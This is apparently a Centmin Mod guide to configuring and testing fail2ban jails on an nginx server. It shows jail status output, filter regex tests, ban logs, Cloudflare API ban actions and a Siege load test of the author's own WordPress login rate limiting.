Chain num pkts bytes target prot opt in out source destination
No matches found for IPADDR in iptables
IPSET: Set:chain_DENY Match:IPADDR Setting: File:/etc/csf/csf.deny
csf.deny: IPADDR # Added by Fail2Ban for nginx-req-limit - Fri May 12 07:09:21 2017
nginx-req-limit filter status and regex test
fail2ban-client status nginx-req-limit
Status for the jail: nginx-req-limit
|- Filter
| |- Currently failed: 1
| |- Total failed: 21
| `- File list: /home/nginx/domains/domain.com/log/error.log /home/nginx/domains/demodomain.com/log/error.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: IPADDR
fail2ban-regex error.log /etc/fail2ban/filter.d/nginx-req-limit.conf
Running tests
=============
Use failregex filter file : nginx-req-limit, basedir: /etc/fail2ban
Use datepattern : Default Detectors
Use log file : error.log
Use encoding : UTF-8
Results
=======
Failregex: 21 total
|- #) [# of hits] regular expression
| 1) [21] ^\s*\[error\] \d+#\d+: \*\d+ limiting requests, excess: [\d\.]+ by zone "(?:[^"]+)", client: <HOST>,
`-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [21] {^LN-BEG}ExYear(?P<_sep>[-/.])Month(?P=_sep)Day[T ]24hour:Minute:Second(?:[.,]Microseconds)?(?:\s*Zone offset)?
`-
Lines: 21 lines, 0 ignored, 21 matched, 0 missed
[processed in 0.01 sec]
Wordpress pingback filter in action
fail2ban-client status wordpress-pingback
Status for the jail: wordpress-pingback
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: 104.237.xxx.xxx
filter search the fail2ban log for banned ip address = /var/log/fail2ban.log
grep '104.237.xxx.xxx' /var/log/fail2ban.log
2017-05-12 08:02:56,303 fail2ban.filter [31920]: INFO [wordpress-pingback] Found 104.237.xxx.xxx - 2017-05-12 08:02:56
2017-05-12 08:02:56,695 fail2ban.actions [31920]: NOTICE [wordpress-pingback] Ban 104.237.xxx.xxx
2017-05-12 11:50:39,167 fail2ban.actions [31920]: NOTICE [wordpress-pingback] Unban 104.237.xxx.xxx
2017-05-12 11:50:40,339 fail2ban.actions [1528]: NOTICE [wordpress-pingback] Restore Ban 104.237.xxx.xxx
2017-05-12 12:22:33,533 fail2ban.actions [1528]: NOTICE [wordpress-pingback] Unban 104.237.xxx.xxx
2017-05-12 12:22:34,613 fail2ban.actions [1902]: NOTICE [wordpress-pingback] Restore Ban 104.237.xxx.xxx
2017-05-12 12:23:19,039 fail2ban.actions [1902]: NOTICE [wordpress-pingback] Unban 104.237.xxx.xxx
2017-05-12 12:23:20,123 fail2ban.actions [1991]: NOTICE [wordpress-pingback] Restore Ban 104.237.xxx.xxx
2017-05-12 14:38:28,392 fail2ban.actions [1991]: NOTICE [wordpress-pingback] Unban 104.237.xxx.xxx
2017-05-12 14:38:29,482 fail2ban.actions [3662]: NOTICE [wordpress-pingback] Restore Ban 104.237.xxx.xxx
Unbanning the IP via fail2ban-client
fail2ban-client unban IPADDR
fail2ban.sh is a script to automate fail2ban install for CentOS 7 based Centmin Mod LEMP stack based servers. The install routine also installs pyinotify as a fail2ban backend instead of the default polling backend for better performance when there's many log files. If you installed as per above instructions for automated install via fail2ban.sh, you would run fail2ban.sh from /root/tools/fail2ban/fail2ban.sh.
Usage options
./fail2ban.sh
./fail2ban.sh {install|status}
fail2ban.sh status output now includes each jail's parameters for maxretry, findtime, bantime as well as calculated per day hit rate allowed based on those parameters.
./fail2ban.sh status
---------------------------------------
nginx-auth parameters:
maxretry: 3 findtime: 600 bantime: 3600
allow rate: 288 hits/day
Status for the jail: nginx-auth
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/domain.com/log/error.log /home/nginx/domains/demodomain.com/log/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-auth-main parameters:
maxretry: 3 findtime: 600 bantime: 3600
allow rate: 288 hits/day
Status for the jail: nginx-auth-main
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /usr/local/nginx/logs/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-botsearch parameters:
maxretry: 2 findtime: 600 bantime: 600
allow rate: 144 hits/day
Status for the jail: nginx-botsearch
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-common parameters:
maxretry: 1 findtime: 600 bantime: 604800
allow rate: 144 hits/day
Status for the jail: nginx-common
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/nginx/localhost_ssl.access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-conn-limit parameters:
maxretry: 5 findtime: 600 bantime: 7200
allow rate: 576 hits/day
Status for the jail: nginx-conn-limit
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/domain.com/log/error.log /home/nginx/domains/demodomain.com/log/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-get-f5 parameters:
maxretry: 15 findtime: 1 bantime: 600
allow rate: 1209600 hits/day
Status for the jail: nginx-get-f5
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-req-limit parameters:
maxretry: 5 findtime: 600 bantime: 7200
allow rate: 576 hits/day
Status for the jail: nginx-req-limit
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/domain.com/log/error.log /home/nginx/domains/demodomain.com/log/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-req-limit-main parameters:
maxretry: 5 findtime: 600 bantime: 7200
allow rate: 576 hits/day
Status for the jail: nginx-req-limit-main
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /usr/local/nginx/logs/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-req-limit-repeat parameters:
maxretry: 5 findtime: 21600 bantime: 259200
allow rate: 16 hits/day
Status for the jail: nginx-req-limit-repeat
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/fail2ban.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
nginx-xmlrpc parameters:
maxretry: 6 findtime: 60 bantime: 600
allow rate: 7200 hits/day
Status for the jail: nginx-xmlrpc
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
vbulletin parameters:
maxretry: 3 findtime: 60 bantime: 28800
allow rate: 2880 hits/day
Status for the jail: vbulletin
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
wordpress-auth parameters:
maxretry: 3 findtime: 60 bantime: 600
allow rate: 2880 hits/day
Status for the jail: wordpress-auth
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
wordpress-comment parameters:
maxretry: 5 findtime: 60 bantime: 3600
allow rate: 5760 hits/day
Status for the jail: wordpress-comment
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
wordpress-fail2ban-plugin parameters:
maxretry: 1 findtime: 7200 bantime: 259200
allow rate: 12 hits/day
Status for the jail: wordpress-fail2ban-plugin
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/secure
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
wordpress-pingback parameters:
maxretry: 1 findtime: 1 bantime: 86400
allow rate: 1 hits/day
Status for the jail: wordpress-pingback
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: 104.237.xxx.xxx
---------------------------------------
wordpress-pingback-repeat parameters:
maxretry: 5 findtime: 21600 bantime: 259200
allow rate: 16 hits/day
Status for the jail: wordpress-pingback-repeat
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/fail2ban.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
All Time: Top 10 Banned IP Addresses:
4 xxx.xxx.xxx.xxx [nginx-req-limit]
3 104.237.xxx.xxx [wordpress-pingback]
2 xxx.xxx.xxx.xxx [wordpress-auth]
2 xxx.xxx.xxx.xxx [http-xensec]
---------------------------------------
All Time: Top 10 Restored Banned IP Addresses:
25 104.237.xxx.xxx [wordpress-pingback]
2 xxx.xxx.xxx.xxx [nginx-req-limit]
---------------------------------------
Yesterday: Top 10 Banned IP Addresses:
4 xxx.xxx.xxx.xxx [nginx-req-limit]
2 xxx.xxx.xxx.xxx [wordpress-auth]
2 xxx.xxx.xxx.xxx [http-xensec]
2 104.237.xxx.xxx [wordpress-pingback]
---------------------------------------
Yesterday: Top 10 Restored Banned IP Addresses:
12 104.237.xxx.xxx [wordpress-pingback]
2 xxx.xxx.xxx.xxx [nginx-req-limit]
---------------------------------------
Today: Top 10 Banned IP Addresses:
---------------------------------------
Today: Top 10 Restored Banned IP Addresses:
8 104.237.xxx.xxx [wordpress-pingback]
---------------------------------------
1 hr ago: Top 10 Banned IP Addresses:
---------------------------------------
1 hr ago: Top 10 Restored Banned IP Addresses:
---------------------------------------
Switching from local CSF Firewall action bans to Cloudflare v4 API based action bans for sites behind Cloudflare requires using the action.d/cloudflare.conf profile. Ensure Centmin Mod 123.09beta01 branch Nginx vhosts are setup with proper real IP detection and Cloudflare IP whitelisting. You can use tools/csfcf.sh script to automate the Cloudflare Nginx configuration and Cloudflare IP whitelisting management outlined here. You can setup a cronjob to run the script in auto mode /usr/local/src/centminmod/tools/csfcf.sh auto.This ensures visitor's real IP address is passed on in your server logs which fail2ban reads.
Cloudflare Firewall Rule Limits
- Note, Cloudflare Firewall has Rule limits of 50,0000 IPs per CF Account as outlined here. So you may need to drastically lower the failban jails' relative bantime durations if you intend to use Cloudflare Firewall with fail2ban.
Cloudflare Firewall API Usage
Below example is testing Nginx rate limiting with Centmin Mod 123.09beta01's auto installed Wordpress install (centmin.sh menu option 22) which out of box uses Nginx level rate limiting for access to commonly targeted urls like wp-login.php
/usr/local/nginx/conf/nginx.conf level
limit_req_zone $binary_remote_addr zone=xwplogin:16m rate=40r/m;
#limit_conn_zone $binary_remote_addr zone=xwpconlimit:16m;
vhost level /usr/local/nginx/conf/conf.d/domain.com.conf
location ~* /(wp-login\.php) {
limit_req zone=xwplogin burst=1 nodelay;
#limit_conn xwpconlimit 30;
I edited /etc/fail2ban/jail.local jail for nginx-req-limit and commented out the default csfdeny action and uncommented the cloudflare action and restarted fail2ban service.
[nginx-req-limit]
enabled = true
filter = nginx-req-limit
#action = csfdeny[name=nginx-req-limit]
action = cloudflare
logpath = /home/nginx/domains/*/log/error.log
findtime = 600
bantime = 7200
maxretry = 5
Then edited action.d/cloudflare.conf and filled in cfuser and cftoken variables with Cloudflare account email and API Key which you can find in your My Account area. Restart fail2ban service for good measure.
[Init]
# Option: cfuser
# Notes.: Replaces <cfuser> in actionban and actionunban with cfuser value below
# Values: Your CloudFlare user account
cfuser = put-your-cloudflare-email-here
# Option: cftoken
# Notes.: Replaces <cftoken> in actionban and actionunban with cftoken value below
# Values: Your CloudFlare API key can be found here https://www.cloudflare.com/a/profile
cftoken = put-your-API-key-here
Ran Siege load testing again from separate server against wp-login.php to trigger a fail2ban action to Cloudflare's v4 API
siege -b -c3 -r10 http://domain.com/wp-login.php
** SIEGE 4.0.2
** Preparing 3 concurrent users for battle.
The server is now under siege...
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.58 secs: 7067 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.66 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.94 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 200 0.93 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 503 0.65 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.46 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.53 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.93 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 503 0.60 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.52 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.45 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.45 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.48 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.94 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 503 0.93 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.48 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.46 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.51 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.45 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.45 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.94 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 503 0.54 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.53 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.51 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.94 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
Transactions: 12 hits
Availability: 33.33 %
Elapsed time: 7.82 secs
Data transferred: 0.65 MB
Response time: 1.75 secs
Transaction rate: 1.53 trans/sec
Throughput: 0.08 MB/sec
Concurrency: 2.69
Successful transactions: 12
Failed transactions: 24
Longest transaction: 0.94
Shortest transaction: 0.45
Checking fail2ban log for xxx.xxx.xxx.xxx
grep 'xxx.xxx.xxx.xxx' /var/log/fail2ban.log | grep ' Ban '
2017-05-13 03:59:42,227 fail2ban.actions [11201]: NOTICE [nginx-req-limit] Ban xxx.xxx.xxx.xxx
2017-05-13 04:02:04,713 fail2ban.actions [11393]: NOTICE [nginx-req-limit] Ban xxx.xxx.xxx.xxx
2017-05-13 04:03:46,051 fail2ban.actions [11524]: NOTICE [nginx-req-limit] Restore Ban xxx.xxx.xxx.xxx
2017-05-13 04:05:30,268 fail2ban.actions [11665]: NOTICE [nginx-req-limit] Restore Ban xxx.xxx.xxx.xxx
2017-05-13 05:14:03,388 fail2ban.actions [11665]: NOTICE [nginx-req-limit] Ban xxx.xxx.xxx.xxx
Checking the nginx-req-limit filter status and regex
filter status
fail2ban-client status nginx-req-limit
Status for the jail: nginx-req-limit
|- Filter
| |- Currently failed: 1
| |- Total failed: 24
| `- File list: /home/nginx/domains/domain.com/log/error.log /home/nginx/domains/demodomain.com/log/error.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: IPADDR
regex
fail2ban-regex /home/nginx/domains/domain.com/log/error.log /etc/fail2ban/filter.d/nginx-req-limit.conf
Running tests
=============
Use failregex filter file : nginx-req-limit, basedir: /etc/fail2ban
Use datepattern : Default Detectors
Use log file : /home/nginx/domains/domain.com/log/error.log
Use encoding : UTF-8
Results
=======
Failregex: 92 total
|- #) [# of hits] regular expression
| 1) [92] ^\s*\[error\] \d+#\d+: \*\d+ limiting requests, excess: [\d\.]+ by zone "(?:[^"]+)", client: <HOST>,
`-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [92] {^LN-BEG}ExYear(?P<_sep>[-/.])Month(?P=_sep)Day[T ]24hour:Minute:Second(?:[.,]Microseconds)?(?:\s*Zone offset)?
`-
Lines: 92 lines, 0 ignored, 92 matched, 0 missed
[processed in 0.02 sec]
Checking Cloudflare's Firewall Access Rules for fail2ban inserted IP address starting with xxx.xxx.xxx.xxx which is remote server I launced the Siege load test from
Test curl access from blocked server for wp-login.php url link gives 403 forbidden meaning access is blocked at Cloudflare Firewall level
curl -I http://domain.com/wp-login.php
HTTP/1.1 403 Forbidden
Date: Sat, 13 May 2017 05:22:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: __cfduid=d34a309e3527a91971491fc853424dbca1494652921; expires=Sun, 13-May-18 05:22:01 GMT; path=/; domain=.domain.com; HttpOnly
Cache-Control: max-age=15
Expires: Sat, 13 May 2017 05:22:16 GMT
X-Frame-Options: SAMEORIGIN
Server: cloudflare-nginx
CF-RAY: 35e32d7813e63f95-YUL
Unbanning the ip from Cloudflare's Firewall Access Rules is same as before
fail2ban-client unban xxx.xxx.xxx.xxx
fail2ban.sh status after latest test
./fail2ban.sh status
---------------------------------------
Status for the jail: http-xensec
|- Filter
| |- Currently failed: 0
| |- Total failed: 21
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 1
|- Total banned: 2
`- Banned IP list: xxx.xxx.xxx.xxx
---------------------------------------
Status for the jail: nginx-auth
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/nginx/localhost.error.log /var/log/nginx/localhost_ssl.error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: nginx-auth-main
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /usr/local/nginx/logs/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: nginx-botsearch
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: nginx-conn-limit
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/domain.com/log/error.log /home/nginx/domains/demodomain.com/log/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: nginx-get-f5
|- Filter
| |- Currently failed: 1
| |- Total failed: 42
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: nginx-req-limit
|- Filter
| |- Currently failed: 1
| |- Total failed: 31
| `- File list: /home/nginx/domains/domain.com/log/error.log /home/nginx/domains/demodomain.com/log/error.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: xxx.xxx.xxx.xxx
---------------------------------------
Status for the jail: nginx-req-limit-main
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /usr/local/nginx/logs/error.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: nginx-req-limit-repeat
|- Filter
| |- Currently failed: 1
| |- Total failed: 1
| `- File list: /var/log/fail2ban.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: nginx-xmlrpc
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: vbulletin
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: wordpress-auth
|- Filter
| |- Currently failed: 0
| |- Total failed: 5
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: xxx.xxx.xxx.xxx
---------------------------------------
Status for the jail: wordpress-comment
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
Status for the jail: wordpress-pingback
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
---------------------------------------
Status for the jail: wordpress-pingback-repeat
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/fail2ban.log
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
---------------------------------------
All Time: Top 10 Banned IP Addresses:
4 xxx.xxx.xxx.xxx [nginx-req-limit]
2 xxx.xxx.xxx.xxx [wordpress-auth]
2 xxx.xxx.xxx.xxx [http-xensec]
2 104.237.xxx.xxx [wordpress-pingback]
---------------------------------------
All Time: Top 10 Restored Banned IP Addresses:
16 104.237.xxx.xxx [wordpress-pingback]
2 xxx.xxx.xxx.xxx [nginx-req-limit]
---------------------------------------
Yesterday: Top 10 Banned IP Addresses:
1 104.237.xxx.xxx [wordpress-pingback]
---------------------------------------
Yesterday: Top 10 Restored Banned IP Addresses:
5 104.237.xxx.xxx [wordpress-pingback]
---------------------------------------
Today: Top 10 Banned IP Addresses:
4 xxx.xxx.xxx.xxx [nginx-req-limit]
2 xxx.xxx.xxx.xxx [wordpress-auth]
2 xxx.xxx.xxx.xxx [http-xensec]
1 104.237.xxx.xxx [wordpress-pingback]
---------------------------------------
Today: Top 10 Restored Banned IP Addresses:
11 104.237.xxx.xxx [wordpress-pingback]
2 xxx.xxx.xxx.xxx [nginx-req-limit]
---------------------------------------
1 hr ago: Top 10 Banned IP Addresses:
1 xxx.xxx.xxx.xxx [http-xensec]
---------------------------------------
1 hr ago: Top 10 Restored Banned IP Addresses:
5 104.237.xxx.xxx [wordpress-pingback]
---------------------------------------
The fail2ban.sh status command lists each fail2ban jail's status as well as the top 10 IP address occurences in banned IPs or restored banned IPs for All Time, Yesterday, Today and the past 1hr.
For some simple troubleshooting steps for fail2ban jail testing, you can do the following:
1. Enable debug logging instead of default info log level
fail2ban-client get loglevel
fail2ban-client set loglevel debug
2. Then do test attacks against your fail2ban server for the jail config you want to test
3. Then search the /var/log/fail2ban.log log and grep filter on the IP address of attacking server for clues escaping dots . with backslashes
grep 'xxx.\.xxx\.xxx\.xxx' /var/log/fail2ban.log
example output
2017-08-21 15:02:10,728 fail2ban.filter [2351]: INFO [nginx-req-limit] Found xxx.xxx.xxx.xxx - 2017-08-21 15:02:10
2017-08-21 15:02:10,728 fail2ban.failmanager [2351]: DEBUG Total # of detected failures: 5. Current failures from 1 IPs (IP:count): xxx.xxx.xxx.xxx:5
2017-08-21 15:02:11,264 fail2ban.actions [2351]: NOTICE [nginx-req-limit] Ban xxx.xxx.xxx.xxx
2017-08-21 15:02:11,264 fail2ban.action [2351]: DEBUG csf -d xxx.xxx.xxx.xxx Added by Fail2Ban for nginx-req-limit
2017-08-21 15:02:11,269 fail2ban.filter [2351]: DEBUG Processing line with time:1503327731.0 and ip:xxx.xxx.xxx.xxx
2017-08-21 15:02:11,269 fail2ban.filter [2351]: INFO [nginx-req-limit-repeat] Found xxx.xxx.xxx.xxx - 2017-08-21 15:02:11
2017-08-21 15:02:11,272 fail2ban.failmanager [2351]: DEBUG Total # of detected failures: 1. Current failures from 1 IPs (IP:count): xxx.xxx.xxx.xxx:1
2017-08-21 15:02:12,249 fail2ban.utils [2351]: DEBUG 25fee10 -- stdout: 'deny failed: xxx.xxx.xxx.xxx is in the allow file /etc/csf/csf.allow'
Then set log level back to info
fail2ban-client get loglevel
fail2ban-client set loglevel info